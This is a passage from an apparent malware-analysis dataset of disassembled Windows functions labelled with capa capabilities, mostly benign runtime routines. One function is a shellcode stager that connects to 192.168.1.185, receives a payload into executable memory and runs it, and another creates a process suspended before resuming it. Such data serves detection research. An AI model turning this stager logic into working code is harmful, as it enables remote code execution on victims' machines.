joyce8/EMBER2024-capa huggingface dataset:
Function at 0x411a74
Capabilities:
Manipulate console buffer

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
push ebp
sub esp, 0x14
mov ebx, eax
call fcn.00419ef4
mov eax, dword [ebx*8]
mov eax, dword [eax + 4]
call fcn.00410ff4
mov ecx, eax
mov eax, dword [ebx*8]
mov eax, dword [eax + 8]
call fcn.00410ff4
mov ebx, dword [ebx*8]
mov ebx, dword [ebx + 0xc]
lea edx, [ebx*8]
mov edi, eax
mov eax, dword [edx + 4]
mov dword [esp + 0xc], eax
cmp ebx, 0xa0000000
setge al
and eax, 0xff
jne 0x411ad5
test byte [esp + 0xc], 1
je 0x411adf
mov eax, 0x424c94
jmp fcn.00413da0
mov ebx, dword [edx]
mov edx, dword [esp + 0xc]
add ebx, 4
test edx, edx
jbe 0x411b70
mov esi, edi
dec ecx
dec esi
mov word [esp + 0x12], cx
mov eax, 0x424cdc
mov edx, dword [ebx]
call fcn.00410f40
mov byte [esp], al
mov eax, 0x424cdc
mov edx, dword [ebx + 4]
call fcn.00410f40
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov word [esp + 0x10], si
push eax
mov ecx, dword [esp + 0x14]
push ecx
push 1
lea eax, [esp + 0xc]
push eax
mov ebp, dword [0x42935c]
push ebp
call dword cs:[sym.imp.KERNEL32.DLL_WriteConsoleOutputCharacterA]
lea eax, [esp + 4]
push eax
mov eax, dword [esp + 0x14]
push eax
push 1
lea eax, [esp + 0x14]
push eax
mov edx, dword [0x42935c]
push edx
inc edi
call dword cs:[sym.imp.KERNEL32.DLL_WriteConsoleOutputAttribute]
mov ecx, dword [esp + 0xc]
add ebx, 8
sub ecx, 2
inc esi
mov dword [esp + 0xc], ecx
test ecx, ecx
ja 0x411af9
mov eax, 1
add esp, 0x14
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x411b80
Capabilities:
Manipulate console buffer

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
push ebp
mov ebp, esp
sub esp, 0x18
and esp, 0xfffffff8
lea ebx, [eax*8]
mov eax, dword [ebx]
mov eax, dword [eax + 4]
call fcn.00410ff4
mov edx, eax
mov eax, dword [ebx]
mov eax, dword [eax + 8]
dec edx
call fcn.00410ff4
mov ecx, eax
mov eax, 2
mov word [esp + 0x12], dx
call fcn.00410908
dec ecx
mov esi, eax
mov ebx, dword [eax]
call fcn.00419ef4
lea eax, [esp + 0xc]
mov word [esp + 0x10], cx
push eax
mov ecx, dword [esp + 0x14]
push ecx
push 1
lea eax, [esp + 0x14]
push eax
mov edi, dword [0x42935c]
xor edx, edx
push edi
mov dword [esp + 0x28], edx
call dword cs:[sym.imp.KERNEL32.DLL_ReadConsoleOutputCharacterA]
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0x14]
push eax
push 1
lea eax, [esp + 0x20]
push eax
mov edx, dword [0x42935c]
push edx
call dword cs:[sym.imp.KERNEL32.DLL_ReadConsoleOutputAttribute]
mov eax, dword [esp + 5]
sar eax, 0x18
mov dword [ebx + 4], eax
mov ecx, dword [esp + 0x14]
cmp ecx, 0x3fffffff
ja 0x411c2b
mov dword [ebx + 8], ecx
jmp 0x411c45
xor edi, edi
mov dword [esp], ecx
mov dword [esp + 4], edi
fild qword [esp]
sub esp, 8
fstp qword [esp]
call fcn.00410ec0
mov dword [ebx + 8], eax
mov eax, esi
shr eax, 3
add eax, 0x80000000
mov esp, ebp
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x419ff4
Capabilities:
Manipulate console buffer

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
sub esp, 0x30
mov ebx, eax
mov eax, esp
push eax
mov edx, dword [0x42935c]
push edx
call dword cs:[sym.imp.KERNEL32.DLL_GetConsoleScreenBufferInfo]
xor edx, edx
mov word [esp + 4], dx
cmp ebx, 0xa
jne 0x41a09e
mov ebx, dword [esp]
mov eax, dword [esp + 4]
sar ebx, 0x10
sar eax, 0x10
dec ebx
cmp eax, ebx
jge 0x41a038
inc word [esp + 6]
jmp 0x41a09e
mov eax, dword [esp]
lea edi, [esp + 0x18]
lea esi, [esp + 0x20]
mov word [esp + 0x24], ax
mov eax, dword [esp + 2]
mov word [esp + 0x20], dx
dec eax
mov word [esp + 0x22], dx
mov word [esp + 0x26], ax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0x28]
mov edi, 0xffffffff
mov word [esp + 0x2c], dx
mov word [esp + 0x2e], di
push ebx
mov ebx, dword [esp + 0x30]
push ebx
lea ebx, [esp + 0x20]
mov ecx, dword [0x42935c]
push ebx
lea ebx, [esp + 0x2c]
mov ah, 0x20
push ebx
mov byte [esp + 0x38], ah
mov eax, dword [esp + 0x18]
push ecx
mov word [esp + 0x3e], ax
call dword cs:[sym.imp.KERNEL32.DLL_ScrollConsoleScreenBufferA]
mov esi, dword [esp + 4]
push esi
mov edi, dword [0x42935c]
push edi
call dword cs:[sym.imp.KERNEL32.DLL_SetConsoleCursorPosition]
add esp, 0x30
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x41a0bc
Capabilities:
Manipulate console buffer

Disassembly:
push ebx
push ecx
push esi
push edi
push ebp
sub esp, 0x18
mov ebx, eax
mov esi, edx
mov edx, esp
call fcn.00419ef4
push edx
mov edx, dword [0x42935c]
push edx
call dword cs:[sym.imp.KERNEL32.DLL_GetConsoleScreenBufferInfo]
mov eax, dword [esp + 6]
mov edx, 0x4f
mov word [0x42933a], ax
mov word [0x42933e], ax
mov eax, dword [esp + 4]
mov word [0x429354], si
mov word [0x429338], ax
mov ah, byte [ebx]
mov word [0x42933c], dx
test ah, ah
je 0x41a130
xor edx, edx
mov al, byte [ebx]
mov byte [edx + 0x4291f8], al
mov eax, dword [esp + 8]
inc ebx
mov word [edx + 0x4291fa], ax
mov cl, byte [ebx]
add edx, 4
test cl, cl
jne 0x41a113
push 0x429338
mov ebx, dword [0x429344]
push ebx
mov ecx, dword [0x429354]
push ecx
push 0x4291f8
mov edi, dword [0x42935c]
push edi
call dword cs:[sym.imp.KERNEL32.DLL_WriteConsoleOutputA]
add word [esp + 4], si
mov ebp, dword [esp + 4]
push ebp
mov eax, dword [0x42935c]
push eax
call dword cs:[sym.imp.KERNEL32.DLL_SetConsoleCursorPosition]
add esp, 0x18
pop ebp
pop edi
pop esi
pop ecx
pop ebx
ret

Function at 0x41a540
Capabilities:
Manipulate console buffer

Disassembly:
push ebx
push ecx
push esi
sub esp, 4
mov esi, eax
mov ebx, edx
mov eax, edx
dec eax
mov word [esp], ax
mov eax, esi
dec eax
mov word [esp + 2], ax
mov edx, dword [esp]
call fcn.00419ef4
push edx
mov ecx, dword [0x42935c]
push ecx
call dword cs:[sym.imp.KERNEL32.DLL_SetConsoleCursorPosition]
mov dword [0x427274], ebx
mov dword [0x427270], esi
add esp, 4
pop esi
pop ecx
pop ebx
ret
Function at 0x41a584
Capabilities:
Accept command line arguments

Disassembly:
mov dword [0x429388], 0x401010
jmp 0x41c464
push ebx
push ecx
push edx
push ebp
mov ebp, esp
sub esp, 8
mov eax, 1
call fcn.0041fa64
mov eax, dword [0x427740]
add eax, 3
and al, 0xfc
xor edx, edx
sub esp, eax
mov ecx, esp
mov ebx, dword [0x427740]
mov eax, ecx
call fcn.0041baa0
lea eax, [ebp - 8]
mov edx, ecx
call fcn.0041d33a
mov edx, dword [0x427540]
add edx, 3
and dl, 0xfc
call fcn.0041fafe
cmp edx, eax
jae 0x41c4bb
mov eax, edx
sub esp, eax
mov eax, esp
jmp 0x41c4bd
xor eax, eax
mov edx, dword [0x427540]
add eax, edx
xor ebx, ebx
mov dword [0x427544], eax
call fcn.0041fb2d
call sub.KERNEL32.DLL_GetCommandLineA
call fcn.0041fb38
mov bl, byte [eax]
mov edx, eax
cmp ebx, 0x22
jne 0x41c4fa
inc eax
xor edx, edx
mov dl, byte [eax]
cmp edx, 0x22
je 0x41c4f2
test dl, dl
jne 0x41c4e4
cmp byte [eax], 0
je 0x41c51d
inc eax
jmp 0x41c51d
mov dl, byte [eax]
inc dl
and edx, 0xff
mov dl, byte [edx + 0x42695c]
and dl, 2
and edx, 0xff
jne 0x41c51d
cmp byte [eax], 0
je 0x41c51d
inc eax
jmp 0x41c4fa
mov dl, byte [eax]
inc dl
and edx, 0xff
mov dl, byte [edx + 0x42695c]
and dl, 2
and edx, 0xff
jne 0x41c4f7
push 0xa
push eax
push edx
push edx
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call dword [0x429388]
call fcn.0041bc4a
mov esp, ebp
pop ebp
pop edx
pop ecx
pop ebx
ret

Function at 0x41b8fd
Capabilities:
Get common file path

Disassembly:
push ebx
push ecx
push esi
push edi
sub esp, 0x104
mov ebx, eax
mov esi, edx
mov eax, esp
push eax
push 0x104
call sub.KERNEL32.DLL_GetCurrentDirectoryA
mov ecx, eax
test eax, eax
jne 0x41b925
call fcn.0041dc70
jmp 0x41b93f
test ebx, ebx
jne 0x41b943
inc eax
call fcn.0041d888
mov ebx, eax
test eax, eax
jne 0x41b94e
mov eax, 5
call fcn.0041d3a4
xor eax, eax
jmp 0x41b96b
cmp eax, esi
jbe 0x41b94e
mov eax, 0xe
jmp 0x41b93a
mov esi, esp
inc ecx
mov edi, ebx
push es
mov eax, ds
mov es, eax
push edi
mov eax, ecx
shr ecx, 2
movsd dword es:[edi], dword [esi]
mov cl, al
and cl, 3
repne movsb byte es:[edi], byte [esi]
pop edi
pop es
mov eax, ebx
add esp, 0x104
pop edi
pop esi
pop ecx
pop ebx
ret
Function at 0x41d213
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
push ecx
push esi
sub esp, 0x104
mov esi, eax
mov eax, edx
mov dword [0x42938c], esi
call fcn.0041ff8c
mov dword [0x429390], eax
test eax, eax
jne 0x41d245
test esi, esi
je 0x41d23e
xor edx, edx
jmp 0x41d32f
push 1
call sub.KERNEL32.DLL_ExitProcess
call fcn.0041d673
call sub.KERNEL32.DLL_GetEnvironmentStrings
push 0x104
mov dword [0x427559], eax
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov eax, esp
call fcn.0041fb38
mov dword [0x42752c], eax
call sub.KERNEL32.DLL_GetCommandLineA
xor ecx, ecx
call fcn.0041fb38
mov cl, byte [eax]
mov edx, eax
cmp ecx, 0x22
jne 0x41d29c
inc eax
xor edx, edx
mov dl, byte [eax]
cmp edx, 0x22
je 0x41d294
test dl, dl
jne 0x41d286
cmp byte [eax], 0
je 0x41d2bf
inc eax
jmp 0x41d2bf
mov dl, byte [eax]
inc dl
and edx, 0xff
mov dl, byte [edx + 0x42695c]
and dl, 2
and edx, 0xff
jne 0x41d2bf
cmp byte [eax], 0
je 0x41d2bf
inc eax
jmp 0x41d29c
mov dl, byte [eax]
inc dl
and edx, 0xff
mov dl, byte [edx + 0x42695c]
and dl, 2
and edx, 0xff
jne 0x41d299
mov dword [0x427528], eax
test esi, esi
je 0x41d2ff
push 0x104
lea eax, [esp + 4]
push eax
push ebx
call sub.KERNEL32.DLL_GetModuleFileNameA
mov eax, esp
call fcn.0041fb38
mov dword [0x427530], eax
call sub.KERNEL32.DLL_GetVersion
mov ebx, eax
shr eax, 0x10
xor edx, edx
and eax, 0xffff
mov dx, ax
mov word [0x427561], bx
sar edx, 8
and al, 0xf
mov byte [0x42755f], dl
mov byte [0x427560], al
mov edx, 1
mov eax, edx
add esp, 0x104
pop esi
pop ecx
ret

Function at 0x41d795
Capabilities:
Read file on windows

Disassembly:
push ecx
push esi
sub esp, 4
mov esi, eax
call dword [0x427570]
cmp dword [0x427600], 0
je 0x41d7cb
mov eax, esi
call dword [0x4275d8]
test eax, eax
je 0x41d7cb
call dword [0x427600]
mov edx, eax
mov eax, esi
call dword [0x427574]
mov eax, edx
jmp 0x41d803
mov ecx, dword [0x429398]
mov eax, esi
push 0
mov eax, dword [ecx + eax*4]
lea ecx, [esp + 4]
push ecx
push ebx
push edx
push eax
call sub.KERNEL32.DLL_ReadFile
test eax, eax
jne 0x41d7f8
mov eax, esi
call dword [0x427574]
call fcn.0041dc70
jmp 0x41d803
mov eax, esi
call dword [0x427574]
mov eax, dword [esp]
add esp, 4
pop esi
pop ecx
ret

Function at 0x41f51c
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
push edi
push ebp
sub esp, 4
mov esi, eax
mov edi, edx
mov ebp, dword [0x429398]
mov ebp, dword [ebp + eax*4]
call dword [0x427570]
mov eax, esi
call fcn.0041dcc0
test al, 0x80
je 0x41f562
push 2
push 0
push 0
push ebp
call sub.KERNEL32.DLL_SetFilePointer
cmp eax, 0xffffffff
jne 0x41f562
mov eax, esi
call dword [0x427574]
call fcn.0041dc70
jmp 0x41f5ba
cmp dword [0x427604], 0
je 0x41f58d
mov eax, esi
call dword [0x4275d8]
test eax, eax
je 0x41f58d
mov edx, edi
call dword [0x427604]
mov ebx, eax
mov eax, esi
call dword [0x427574]
mov eax, ebx
jmp 0x41f5ba
push 0
lea eax, [esp + 4]
push eax
push ebx
push edi
push ebp
call sub.KERNEL32.DLL_WriteFile
test eax, eax
je 0x41f553
cmp ebx, dword [esp]
je 0x41f5af
mov eax, 0xc
call fcn.0041d3a4
mov eax, esi
call dword [0x427574]
mov eax, dword [esp]
add esp, 4
pop ebp
pop edi
pop esi
pop ecx
ret
Function at 0x42074f
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
push eax
cmp dword [0x4277e0], 0
jne 0x420765
xor eax, eax
jmp 0x4207d6
cmp dword [0x427524], 0xfffffffe
je 0x42075e
mov eax, esp
call fcn.004207f0
test eax, eax
je 0x4207d6
push 0x40
push 0x1000
mov ecx, dword [esp + 8]
push ecx
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov edx, eax
test eax, eax
je 0x4207d6
mov eax, dword [esp]
mov esi, dword [esp]
sub eax, 4
cmp eax, esi
ja 0x42075e
mov dword [esp], eax
cmp eax, 0x38
jb 0x42075e
mov dword [edx], eax
mov eax, edx
call fcn.004206db
mov ebx, eax
mov eax, dword [eax]
mov dword [esp], eax
or al, 1
mov dword [ebx], eax
mov edi, dword [edx + 0x18]
mov dword [edx + 0x14], 0xffffffff
inc edi
lea eax, [ebx + 4]
mov dword [edx + 0x18], edi
call fcn.0041d9be
mov eax, 1
add esp, 4
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x420a30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push ecx
mov ebx, edx
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
jne 0x420a47
call fcn.0041dc70
pop ecx
pop ebx
ret
test bl, 2
je 0x420a5d
test al, 1
je 0x420a5d
mov eax, 5
call fcn.0041dc1f
pop ecx
pop ebx
ret
xor eax, eax
pop ecx
pop ebx
ret

Function at 0x420f69
Capabilities:
Create process on windows

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
push ebp
sub esp, 0x58
mov ebx, dword [esp + 0x7c]
mov edx, dword [esp + 0x84]
mov eax, dword [esp + 0x78]
xor ecx, ecx
call fcn.00420be3
mov ebx, 0x44
mov eax, esp
xor edx, edx
call fcn.0041baa0
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 4]
push eax
mov edx, 1
push 0
mov word [esp + 0x3c], dx
mov edx, dword [esp + 0x8c]
push edx
push 0
push 1
push 0
push 0
mov ebx, dword [esp + 0x9c]
push ebx
push 0
call sub.KERNEL32.DLL_CreateProcessA
test eax, eax
jne 0x420ffa
call sub.KERNEL32.DLL_GetLastError
mov edx, eax
cmp eax, 5
je 0x420fe9
cmp eax, 0xc1
je 0x420fe9
cmp eax, 0xa1
jne 0x420fee
mov edx, 2
mov eax, edx
call fcn.0041dc1f
jmp 0x42109d
cmp dword [esp + 0x74], 0
jne 0x42107d
mov ax, word [0x427561]
xor al, al
and ah, 0x80
and eax, 0xffff
je 0x421055
push 0x3e8
mov ebp, 0x103
call sub.KERNEL32.DLL_Sleep
mov dword [esp + 0x54], ebp
cmp dword [esp + 0x54], 0x103
jne 0x421085
push 0x64
call sub.KERNEL32.DLL_Sleep
lea eax, [esp + 0x54]
push eax
mov edx, dword [esp + 0x48]
push edx
call sub.KERNEL32.DLL_GetExitCodeProcess
test eax, eax
jne 0x42102a
call fcn.0041dc70
jmp 0x42109d
push 0xffffffffffffffff
mov esi, dword [esp + 0x48]
push esi
call sub.KERNEL32.DLL_WaitForSingleObject
test eax, eax
jne 0x421076
lea eax, [esp + 0x54]
push eax
mov edi, dword [esp + 0x48]
push edi
call sub.KERNEL32.DLL_GetExitCodeProcess
jmp 0x421085
call fcn.0041dc70
jmp 0x421081
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x54], eax
mov ebx, dword [esp + 0x44]
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov ecx, dword [esp + 0x48]
push ecx
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [esp + 0x54]
add esp, 0x58
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x401721
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x30
mov ebx, ecx
call dbg.__main
call sym._winsock_init
cmp dword [ebx], 3
je 0x401765
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov dword [esp + 4], eax
mov dword [esp], str._s__host___port__n
call sym._printf
mov dword [esp], 1
call sym._exit
mov dword [esp + 4], 0x1388
mov dword [esp], str.192.168.1.185
call sym._wsconnect
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 4
lea edx, [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jne 0x4017b3
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4017c6
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.read_a_strange_or_incomplete_length_value_n
mov dword [esp], eax
call sym._punt
mov eax, dword [ebp - 0x18]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40180d
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], str.could_not_allocate_buffer_n
mov dword [esp], eax
call sym._punt
mov eax, dword [ebp - 0x10]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x10]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x1c]
mov dword [edx], eax
mov eax, dword [ebp - 0x18]
mov ecx, eax
mov eax, dword [ebp - 0x10]
lea edx, [eax + 5]
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._recv_all
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call eax
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x401ac0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401b20
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40d06c]
test esi, esi
jle 0x401c40
mov eax, dword [0x40d070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401b54
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401bd7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401b40
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401c67
mov eax, dword [0x40d070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40d070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401c47
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401bd0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401be0
add dword [0x40d06c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40d070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401bd0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401b5e
mov eax, dword [0x40d070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x402180
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x40d088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40d080]
sub esp, 4
test ebx, ebx
je 0x4021d5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4021ce
test esi, esi
je 0x4021ce
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4021b0
mov dword [esp], 0x40d088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402510
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402535
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402540
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402535
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402588
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40257e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40258a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402570
xor eax, eax
pop ebx
pop esi
ret
Function at 0x401090
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0x1c]
or eax, 4
mov dword [ebp - 4], eax
cmp dword [ebp + 0x34], 0
jne 0x4010ae
mov ecx, dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp + 0x34], ecx
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp + 0x28]
push eax
mov ecx, dword [ebp + 0x24]
push ecx
mov edx, dword [ebp + 0x20]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [ebp + 0x34]
test eax, eax
jne 0x4010e1
xor eax, eax
jmp 0x401159
cmp dword [ebp + 0x30], 0
je 0x4010fb
mov eax, dword [ebp + 0x30]
push eax
call fcn.00401930
add esp, 4
add eax, 1
mov dword [ebp - 0x18], eax
jmp 0x401102
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp + 0x30]
push edx
call fcn.00401070
push eax
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00401160
add esp, 0x14
test eax, eax
jne 0x401128
xor eax, eax
jmp 0x401159
cmp dword [ebp + 0x2c], 0
je 0x401140
push 0x10
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp + 0x2c]
push eax
call fcn.004019c0
add esp, 0xc
mov ecx, dword [ebp + 0x1c]
and ecx, 4
test ecx, ecx
jne 0x401154
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov esp, ebp
pop ebp
ret 0x30
Function at 0x403f11
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00402c19
xor ebx, ebx
cmp dword [0x40b314], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x403fe6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x403f51
xor eax, eax
jmp 0x4040aa
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x403f4a
push eax
call fcn.00402bb6
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b314], eax
call esi
push eax
call fcn.00402bb6
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b318], eax
call esi
push eax
call fcn.00402bb6
mov dword [0x40b31c], eax
lea eax, [ebp - 8]
push eax
call fcn.00401ec8
test eax, eax
pop ecx
pop ecx
je 0x403fb4
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403802
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x403fe6
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00402bb6
cmp eax, ebx
pop ecx
mov dword [0x40b324], eax
je 0x403fe6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402bb6
pop ecx
mov dword [0x40b320], eax
mov eax, dword [0x40b320]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40405f
cmp dword [0x40b324], esi
je 0x40405f
push eax
call fcn.00402c22
pop ecx
call eax
cmp eax, ebx
je 0x40402c
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x40b324]
call fcn.00402c22
pop ecx
call eax
test eax, eax
je 0x40402c
test byte [ebp - 0x18], 1
jne 0x40405f
lea eax, [ebp - 0xc]
push eax
call fcn.00401eff
test eax, eax
pop ecx
je 0x404047
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403802
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x404056
or dword [ebp + 0x10], 0x200000
jmp 0x404090
or dword [ebp + 0x10], 0x40000
jmp 0x404090
mov eax, dword [0x40b318]
cmp eax, esi
je 0x404090
push eax
call fcn.00402c22
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x404090
mov eax, dword [0x40b31c]
cmp eax, esi
je 0x404090
push dword [ebp - 4]
push eax
call fcn.00402c22
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x40b314]
call fcn.00402c22
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405959
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40aaa0]
jne 0x405963
repz ret
jmp fcn.00406d85